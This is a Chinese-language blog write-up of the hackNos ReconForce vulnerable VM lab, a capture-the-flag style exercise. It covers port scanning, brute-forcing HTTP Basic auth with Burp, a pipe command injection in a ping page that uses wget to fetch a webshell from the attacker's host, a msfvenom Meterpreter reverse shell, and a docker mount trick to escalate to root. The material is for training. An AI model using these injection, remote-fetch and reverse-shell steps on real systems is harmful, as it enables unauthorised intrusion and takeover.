首页 靶机

0x00 关于hacknos-reconforce

说明

hackNos: ReconForce

Good Enumeration Skills

Difficulty: Easy to Intermediate

Flag: 2 Flag first user And the second root

Learning: Web Application | Enumeration | Privilege Escalation

Web-site: www.hacknos.com

Contact-us

Twitter: @rahul_gehlaut

下载地址

Download:Google Drive
Download (Mirror):ReconForce-01.ova
Download (Torrent):ReconForce-01.ova.torrent

0x01 环境搭建

将下载好的OVA导入到Virtual Box中,然后将靶机与Kali Linux的网络连接方式都调为NAT网络或者Host-Only,确保两台主机在同一网段下就行了。

0x02 信息收集

主机发现

攻击机ip为:192.168.10.4
目标机Ip为:192.168.10.6
也可使用netdiscover
ReconForce_01.png

端口扫描

目标只开放了三个端口,21、22、80,FTP允许匿名用户访问,待会儿可以去看看:
ReconForce_02.png

确定指纹信息

ReconForce_17.png

目录扫描

进去web后上面几个可点击的地方都是跳转外网,中间红色框点击弹出一个Basic认证界面:
ReconForce_03.pngReconForce_04.png

这个爆破登录界面暂时不考虑,先扫描下目录康康。
emm... ::quyin:hematemesis:: 好像目录也没扫描出什么可用信息:
ReconForce_05.png

0x03 漏洞挖掘

FTP服务

刚才说了FTP允许匿名访问,那就去看看FTP服务,登录FTP服务后banner信息返回了一个邮箱地址Secure@hackNos,这个可能是Basic认证的用户名或者密码。然后FTP里面就嘛东西也没有了 ::quyin:cry::
ReconForce_12.pngReconForce_13.png

这条路似乎也行不通,接下来就去试试康爆破HTTP基础认证

Burp爆破Basic认证

HTTP基础认证是按照用户名+冒号+密码的格式进行Base64编码,然后将编码的结果放在请求头的Authorization字段一并发送到服务器端。

使用BurpSuite抓取登录包,然后将下面红框字段放在Decode模块使用Base64进行解密。
ReconForce_06.pngReconForce_07.png

确认这种加密格式后就可进行爆破了,将请求包发送到Intruder模块,将加密字段设置为爆破点:
ReconForce_08.png

设置Payloads的Payload type为:custom iterator,Position第1位填用户名字典,第2位填:,第3位填密码字典。

用户名填Basic认证弹窗提示的Recon Security、amdin、root、Recon、security以及刚才得到的邮箱Secure@hackNos
密码用/usr/share/john/password.lst再加上上面的用户名
ReconForce_09.png

在下面的Payload Processing选择Base64-encode:
ReconForce_10.png

Payload Encoding取消url编码:
ReconForce_11.png

然后点击右上角的Start attack开始爆破
然鹅。。。最后。。。。并没有爆破出来 ::quyin:fue:: 直接拉了裤里。。
按照题目描述的说法,入口点应该就在web。。

后来去作者twitter看了下

在作者的walkthroug中有下面这一段话:
ReconForce_14.png

::quyin:doubt::
不明嚼栗
反正最后确定登录信息admin:Security@hackNos

0x04 获取shell

登录进去后是一个ping命令界面:
ReconForce_15.png

似乎有过滤,但是|并没有进行过滤,这里使用burpsuite方便观察:
ReconForce_16.png

查看下out.php文件内容,在这个文件里面看到了过滤规则:
ReconForce_18.png

直接写普通的一句话肯定不行了,试了下wget命令可以执行。那就简单了。
kali上用python运行个简单的HTTP服务器:python -m SimpleHTTPServer 8088
执行:127.0.0.1|wget+http://192.168.10.4:8088/shell.php下载一句话
然后用:127.0.0.1|mv+shell.php+../将一句话移动到上一级目录
可以看到下载的一句话:
ReconForce_19.png

蚁剑连接上。
查看系统信息:
ReconForce_20.png
msfvenom生成系统对应的meterpreter shell:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.4 LPORT=1234 -f elf > shell.elf
kali上配置好监听:

root@kali:~/桌面# msfconsole
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.10.4
msf5 exploit(multi/handler) > set LPORT 1234

蚁剑上赋shell.elf执行权限,然后执行,即可在kali上获取到反弹的shell。
将简单的Shell转换成为完全交互式的TTY:python -c 'import pty;pty.spawn("/bin/bash")'
ReconForce_21.png

其实上面用蚁剑的步骤可以省略,msfvenom生成shell后直接在命令执行处用wget下载。 ::tieba:Y.tb25::

0x05 提权

sudo -l需要输入密码,尝试Security@hackNos无果
ReconForce_22.png

SUID提权也无果

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

关于SUID可用来提权的文件可查看:Linux下用SUID提权

既然如此那就上传一个辅助脚本上去收集信息:LinEnum.sh
扫描结果显示该机器运行在docker上
ReconForce_23.png

去搜了下有docker提权的方法

但是当前www-data是不属于docker用户组的。而recon用户是属于docker组的。
ReconForce_24.png

所以要用docker提权还是得切换到recon用户

尝试下最开始的密码Security@hackNos结果直接就切换到了recon用户。。。 ::quyin:1huaji::

那这就好办了

提权方法1:sudo -l

既然切换到了recon用户那就在sudo -l康一下:
ReconForce_25.png

这可以随便执行了。。sudo su直接切换到root就完事儿了
ReconForce_26.png

提权方法2:docker提权

关于docker容器提权的思路:普通用户借助Docker容器提权思路分享
顺便找到了一篇创建docker基础镜像教程:创建自己的Docker基础镜像
先查看下是否存在本地镜像docker images
ReconForce_27.png

创建Linux镜像:alpine

先从alpine下载rootfs,这里下载MINI ROOT FILESYSTEM就行了
国内下载网速太拉胯了 ::QQ:Y.qq2:: V2r冲一波
然后把它放在家目录下:wget http://192.168.10.4:8088/alpine-minirootfs-3.11.3-x86_64.tar.gz

构建Dockerfile

创建Dockerfile,文件内容如下:
ReconForce_28.png

构建镜像

docker build -t alpine:3.11 .

结果显示成功创建:
ReconForce_29.png

docker images可看到本地的该镜像信息:
ReconForce_30.png

开始提权

运行docker并挂在/root到/mnt:docker run -it -v /root:/mnt alpine:3.11
ReconForce_31.png

linux下mnt目录的作用:mount 可直接理解为“挂载”挂接光驱、USB设备的目录,加载后,会在mnt里多出相应设备的目录。

0x06 FLAG

第一个flag在recon家目录的user.txt文件内:
ReconForce_32.png

第二个flag在:/root/root.txt文件内,即/mnt/root.txt文件内
ReconForce_33.png



文章评论

目录